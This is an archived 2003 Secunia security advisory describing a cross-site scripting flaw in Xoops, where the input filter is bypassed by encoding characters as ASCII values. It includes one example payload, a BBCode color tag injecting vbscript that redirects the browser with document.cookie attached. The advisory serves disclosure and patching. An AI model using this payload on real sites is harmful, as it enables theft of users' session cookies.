From: Secunia Security Advisories (sec-advsecunia.com)
Date: Thu Aug 14 2003 - 10:16:08 CDT

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

TITLE:
Xoops Cross Site Scripting

READ ONLINE:
http://www.secunia.com/advisories/9528/

CRITICAL:
Less critical

IMPACT:
Cross Site Scripting

WHERE:
From remote

SOFTWARE:
Xoops 1.3.x
Xoops 2.x

DESCRIPTION:
A vulnerability has been reported in Xoops allowing malicious users
to inject scripts.

The problem is that the filter can be bypassed by replacing
characters with their ASCII values. This allows malicious users to
inject vbscript in private messages, news and possibly other
functions.

Example:
[color=FFFFFF;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/color]

Versions 1.3 and below has been reported vulnerable.

SOLUTION:
Version 2.0.3 is not vulnerable.

REPORTED BY / CREDITS:
Frog Man

----------------------------------------------------------------------

Secunia recommends that you verify all advisories you receive, by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.

Contact details:
Web : http://www.secunia.com/
E-mail : supportsecunia.com
Tel : +44 (0) 20 7016 2693
Fax : +44 (0) 20 7637 0419

----------------------------------------------------------------------

Unsubscribe: Secunia Security Advisories

----------------------------------------------------------------------

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]